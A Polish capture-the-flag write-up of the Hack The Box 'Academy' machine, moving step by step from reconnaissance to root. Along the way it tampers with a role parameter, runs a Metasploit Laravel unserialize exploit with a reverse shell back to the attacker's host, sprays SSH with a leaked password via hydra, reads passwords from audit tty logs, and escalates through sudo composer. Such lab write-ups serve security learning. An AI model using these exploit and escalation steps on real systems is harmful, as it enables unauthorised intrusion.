Spis treści
Rekonesans & punkt zaczepienia
Swoje działania tradycyjnie rozpocząłem od przeskanowania zdalnej maszyny w poszukiwaniu otwartych portów:
sudo nmap -sV -n -Pn -v 10.10.10.215
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Na maszynie działa serwer webowy (Apache) na porcie 80 oraz uruchomiona jest usługa ssh.
Po wpisaniu adresu IP w przeglądarce następuje przekierowanie na stronę http://academy.htb. Aby załadować stronę należy dodać wpis w pliku konfiguracyjnym /etc/hosts:
10.10.10.215 academy.htb
Na stronie mamy możliwość zalogowania lub rejestracji.
Sprawdziłem dostępność ścieżek na serwerze:
gobuster dir -u http://academy.htb -w /usr/share/wordlists/dirb/common.txt -s 200,301,302
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://academy.htb
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,301,302
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2021/02/09 13:01:29 Starting gobuster
===============================================================
/admin.php (Status: 200)
/images (Status: 301)
/index.php (Status: 200)
===============================================================
2021/02/09 13:02:00 Finished
===============================================================
W ten sposób znaleziono panel logowania dla administratorów. Na razie bezużyteczny, ponieważ nie mamy konta o takich uprawnieniach.
Przyjrzymjmy się jednak głębiej procesowi rejestracji. W tym celu użyłem narzędzia BurpSuite do analizy zapytań wysyłanych do serwera. Przechwyciłem zapytanie podczas zakładania konta:
Ciekawe jest to, że w zapytaniu przekazywany jest parametr roleid. Nadałem mu wartość „1”, następnie zalogowałem się w panelu dla administratorów świeżo utworzonym kontem:
Po zalogowaniu możemy zapisać potencjalnych użytkowników (cry0l1t3 oraz mrb3n). Będzie to przydatne w dalszej fazie enumeracji. Ponadto wyczytać można, że istnieje nowa poddomena: dev-staging-01.academy.htb. Dodałem poddomenę w pliku /etc/hosts i przeszedłem nią:
Na stronie możemy dowiedzieć wielu ciekawych informacji odnośnie środowiska na którym działa Academia.
Nie myśląc długo skorzystałem z Metasploita i sprawdziłem czy posiada w swojej bazie dostępne exploity na framework Laravel:
msf6 > search laravel exploit/unix/http/laravel_token_unserialize_exec 2018-08-07 PHP Laravel Framework token Unserialize Remote Command Execution
Description: This module exploits a vulnerability in the PHP Laravel Framework for versions 5.5.40, 5.6.x <= 5.6.29. Remote Command Execution is possible via a correctly formatted HTTP X-XSRF-TOKEN header, due to an insecure unserialize call of the decrypt method in Illuminate/Encryption/Encrypter.php. Authentication is not required, however exploitation requires knowledge of the Laravel APP_KEY. Similar vulnerabilities appear to exist within Laravel cookie tokens based on the code fix. In some cases the APP_KEY is leaked which allows for discovery and exploitation.
Dostępny jest exploit, który umożliwia wykonanie zdalnego kodu wykorzystując niebezpeczeństwo desarializacji metody Encrypter.php. Proces eksploitacji wymaga podania APP_KEY, który de facto już posiadam (ujawniony na stronie dev-staging-01.academy.htb).
Dostępne opcje exploita:
msf6 exploit(unix/http/laravel_token_unserialize_exec) > options Module options (exploit/unix/http/laravel_token_unserialize_exec): Name Current Setting Required Description ---- --------------- -------- ----------- APP_KEY no The base64 encoded APP_KEY string from the .env file Proxies no A proxy chain of format type:host:port[,type:host:port][…] RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Path to target webapp VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_perl): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target: Id Name -- ---- 0 Automatic
Konfiguracja exploita:
msf6 exploit(unix/http/laravel_token_unserialize_exec) > set rhosts 10.10.10.215 rhosts => 10.10.10.215 msf6 exploit(unix/http/laravel_token_unserialize_exec) > set vhost dev-staging-01.academy.htb vhost => dev-staging-01.academy.htb msf6 exploit(unix/http/laravel_token_unserialize_exec) >
set app_key dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=app_key => dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= msf6 exploit(unix/http/laravel_token_unserialize_exec) > set lhost 10.10.14.5 lhost => 10.10.14.5 msf6 exploit(unix/http/laravel_token_unserialize_exec) > exploit
[] Started reverse TCP handler on 10.10.14.5:4444
[] Command shell session 1 opened (10.10.14.5:4444 -> 10.10.10.215:46488) at 2021-02-12 12:56:28 +0100
id;whoami uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data
W taki oto sposób uzyskałem dostęp do maszyny jako www-data.
Podniesienie uprawnień (user1)
Eskalację uprawnień rozpocząłem od pozyskania podstawowych informacji o środowisku:
lsb_release -a Distributor ID: Ubuntu Description: Ubuntu 20.04.1 LTS Release: 20.04 Codename: focal
netstat -tulnp Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp6 0 0 :::33060 :::* LISTEN - tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN - udp 0 0 127.0.0.53:53 0.0.0.0:* -
pwd /var/www/html/htb-academy-dev-01/public
/bin/sh -i
Wersja systemu na atakowanej maszynie to Ubuntu 20.04.1 LTS. Aktywne połączenia na portach: 3306 (mysql), 53 (dns), 22 (ssh). Ścieżka: /var/www/html/htb-academy-dev-01/public. Nastąpiła również próba spawningu powłoki (shell).
Po kilku minutach ekslporacji natrafiłem na ukryty plik:
pwd /var/www/html/academy ls -la total 280 drwxr-xr-x 12 www-data www-data 4096 Aug 13 2020 . drwxr-xr-x 4 root root 4096 Aug 13 2020 .. -rw-r--r-- 1 www-data www-data 706 Aug 13 2020 .env -rw-r--r-- 1 www-data www-data 651 Feb 7 2018 .env.example -rw-r--r-- 1 www-data www-data 111 Feb 7 2018 .gitattributes -rw-r--r-- 1 www-data www-data 155 Feb 7 2018 .gitignore drwxr-xr-x 6 www-data www-data 4096 Feb 7 2018 app -rwxr-xr-x 1 www-data www-data 1686 Feb 7 2018 artisan drwxr-xr-x 3 www-data www-data 4096 Feb 7 2018 bootstrap -rw-r--r-- 1 www-data www-data 1512 Feb 7 2018 composer.json -rw-r--r-- 1 www-data www-data 191621 Aug 9 2020 composer.lock drwxr-xr-x 2 www-data www-data 4096 Feb 7 2018 config drwxr-xr-x 5 www-data www-data 4096 Feb 7 2018 database -rw-r--r-- 1 www-data www-data 1150 Feb 7 2018 package.json -rw-r--r-- 1 www-data www-data 1040 Feb 7 2018 phpunit.xml drwxr-xr-x 4 www-data www-data 4096 Nov 9 10:13 public -rw-r--r-- 1 www-data www-data 3622 Feb 7 2018 readme.md drwxr-xr-x 5 www-data www-data 4096 Feb 7 2018 resources drwxr-xr-x 2 www-data www-data 4096 Feb 7 2018 routes -rw-r--r-- 1 www-data www-data 563 Feb 7 2018 server.php drwxr-xr-x 5 www-data www-data 4096 Feb 7 2018 storage drwxr-xr-x 4 www-data www-data 4096 Feb 7 2018 tests drwxr-xr-x 38 www-data www-data 4096 Aug 9 2020 vendor -rw-r--r-- 1 www-data www-data 549 Feb 7 2018 webpack.mix.js
cat .env APP_NAME=Laravel APP_ENV=local APP_KEY=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= APP_DEBUG=false APP_URL=http://localhost LOG_CHANNEL=stack DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_PORT=3306 DB_DATABASE=academy DB_USERNAME=dev DB_PASSWORD=mySup3rP4s5w0rd!! BROADCAST_DRIVER=log CACHE_DRIVER=file SESSION_DRIVER=file SESSION_LIFETIME=120 QUEUE_DRIVER=sync REDIS_HOST=127.0.0.1 REDIS_PASSWORD=null REDIS_PORT=6379 MAIL_DRIVER=smtp MAIL_HOST=smtp.mailtrap.io MAIL_PORT=2525 MAIL_USERNAME=null MAIL_PASSWORD=null MAIL_ENCRYPTION=null PUSHER_APP_ID= PUSHER_APP_KEY= PUSHER_APP_SECRET= PUSHER_APP_CLUSTER=mt1 MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}" MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"
Przeprowadziłem atak słownikowy na usługę ssh. Wylistowałem dostępnych użytkowników:
ls /home
21y4d
ch4p
cry0l1t3
egre55
g0blin
mrb3n
I wykorzystałem narzędzie hydra:
hydra -L usernames -p 'mySup3rP4s5w0rd!!' ssh://10.10.10.215 -f -V
[DATA] attacking ssh://10.10.10.215:22/
[ATTEMPT] target 10.10.10.215 - login "21y4d" - pass "mySup3rP4s5w0rd!!" - 1 of 6 child 0
[ATTEMPT] target 10.10.10.215 - login "ch4p" - pass "mySup3rP4s5w0rd!!" - 2 of 6 child 1
[ATTEMPT] target 10.10.10.215 - login "cry0l1t3" - pass "mySup3rP4s5w0rd!!" - 3 of 6 child 2
[ATTEMPT] target 10.10.10.215 - login "egre55" - pass "mySup3rP4s5w0rd!!" - 4 of 6 child 3
[ATTEMPT] target 10.10.10.215 - login "g0blin" - pass "mySup3rP4s5w0rd!!" - 5 of 6 child 4
[ATTEMPT] target 10.10.10.215 - login "mrb3n" - pass "mySup3rP4s5w0rd!!" - 6 of 6 child 5
[22][ssh] host: 10.10.10.215 login: cry0l1t3 password: mySup3rP4s5w0rd!!
[STATUS] attack finished for 10.10.10.215 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Zalogowałem się wykorzystując usługę ssh i odczytałem pierwszą flagę.
ssh cry0l1t3@10.10.10.215
$ /bin/bash -i cry0l1t3@academy:~$ id; whoami; ifconfig uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm) cry0l1t3 ens160: flags=4163 mtu 1500 inet 10.10.10.215 netmask 255.255.255.0 broadcast 10.10.10.255 inet6 fe80::250:56ff:feb9:f262 prefixlen 64 scopeid 0x20 inet6 dead:beef::250:56ff:feb9:f262 prefixlen 64 scopeid 0x0 ether 00:50:56:b9:f2:62 txqueuelen 1000 (Ethernet) RX packets 5946 bytes 401931 (401.9 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 412 bytes 364023 (364.0 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73 mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10 loop txqueuelen 1000 (Local Loopback) RX packets 11800 bytes 838312 (838.3 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 11800 bytes 838312 (838.3 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
cry0l1t3@academy:~$ ls user.txt
Podniesienie uprawnień (user2)
cry0l1t3@academy:~$ sudo -l
[sudo] password for cry0l1t3:
Sorry, user cry0l1t3 may not run sudo on academy.
Okazało się, że użytkownik cry0l1t3 nie może wykonywać żadnych komend z uprawnieniami sudo.
Jednakże wynik wcześniejszej komendy (id) wykazał że user cry0l1t3 należy do grupy adm. Oznacza to, że user cry0lit3 może przeglądać logi systemowe (/var/log):
cry0l1t3@academy:/var/log$ ls
alternatives.log dmesg.4.gz syslog.5.gz
alternatives.log.1 dpkg.log syslog.6.gz
alternatives.log.2.gz dpkg.log.1 syslog.7.gz
alternatives.log.3.gz dpkg.log.2.gz ubuntu-advantage.log
apache2 dpkg.log.3.gz unattended-upgrades
apt dpkg.log.4.gz vmware-network.1.log
audit faillog vmware-network.2.log
auth.log installer vmware-network.3.log
auth.log.1 journal vmware-network.4.log
auth.log.2.gz kern.log vmware-network.5.log
auth.log.3.gz kern.log.1 vmware-network.6.log
auth.log.4.gz kern.log.2.gz vmware-network.7.log
bootstrap.log kern.log.3.gz vmware-network.8.log
btmp kern.log.4.gz vmware-network.9.log
btmp.1 landscape vmware-network.log
cloud-init.log lastlog vmware-vmsvc-root.1.log
cloud-init-output.log mysql vmware-vmsvc-root.2.log
dist-upgrade private vmware-vmsvc-root.3.log
dmesg syslog vmware-vmsvc-root.log
dmesg.0 syslog.1 vmware-vmtoolsd-root.log
dmesg.1.gz syslog.2.gz wtmp
dmesg.2.gz syslog.3.gz
dmesg.3.gz syslog.4.gz
Swoje poszukiwania zawęziłem do logów związanych z audytem. Do przeglądania logów użyłem narzędzia aureport:
NAME
aureport - a tool that produces summary reports of audit daemon logs
cry0l1t3@academy:/var/log/audit$ aureport --help
usage: aureport [options]
--tty Report about tty keystrokes
Wyświetliłem raport odnośnie TTY:
cry0l1t3@academy:/var/log/audit$ aureport --tty
TTY Report
# date time event auid term sess comm data
Error opening config file (Permission denied)
NOTE - using built-in logs: /var/log/audit/audit.log
08/12/2020 02:28:10 83 0 ? 1 sh "su mrb3n",
08/12/2020 02:28:13 84 0 ? 1 su "mrb3n_Ac@d3my!",
08/12/2020 02:28:24 89 0 ? 1 sh "whoami",
08/12/2020 02:28:28 90 0 ? 1 sh "exit",
08/12/2020 02:28:37 93 0 ? 1 sh "/bin/bash -i",
Okazało się że użytkownik mrb3n uwierzytelnił się hasłem mrb3n_Ac@d3my!. Przelogowałem się zatem na nowego użytkownika:
cry0l1t3@academy:/var/log/audit$ su mrb3n
Password:
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
mrb3n@academy:/var/log/audit$ id
uid=1001(mrb3n) gid=1001(mrb3n) groups=1001(mrb3n)
Podniesienie uprawnień (root)
mrb3n@academy:/var/log/audit$ sudo -l
[sudo] password for mrb3n:
Matching Defaults entries for mrb3n on academy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mrb3n may run the following commands on academy:
(ALL) /usr/bin/composer
Okazało się że można wykonywać polecenie komposer z uprawnieniami sudo. Composer jest to narzędzie, które między innymi pozwala na wykonywanie komend systemowych używając opcji skryptowych. Przy ekslacji wykorzystałem wpis w gtfobins:
Wykonując powyższe komendy, stworzyłem skrypt composer.json, który spawnuje powłokę shell. Następnie uruchomiłem go używając narzędzia composer z opcją sudo:
mrb3n@academy:/var/log/audit$ TF=$(mktemp -d)
mrb3n@academy:/var/log/audit$ echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
mrb3n@academy:/var/log/audit$ sudo composer --working-dir=$TF run-script x
[sudo] password for mrb3n:
PHP Warning: PHP Startup: Unable to load dynamic library 'mysqli.so' (tried: /usr/lib/php/20190902/mysqli.so (/usr/lib/php/20190902/mysqli.so: undefined symbol: mysqlnd_global_stats), /usr/lib/php/20190902/mysqli.so.so (/usr/lib/php/20190902/mysqli.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
PHP Warning: PHP Startup: Unable to load dynamic library 'pdo_mysql.so' (tried: /usr/lib/php/20190902/pdo_mysql.so (/usr/lib/php/20190902/pdo_mysql.so: undefined symbol: mysqlnd_allocator), /usr/lib/php/20190902/pdo_mysql.so.so (/usr/lib/php/20190902/pdo_mysql.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
Do not run Composer as root/super user! See https://getcomposer.org/root for details
> /bin/sh -i 0<&3 1>&3 2>&3
# id
uid=0(root) gid=0(root) groups=0(root)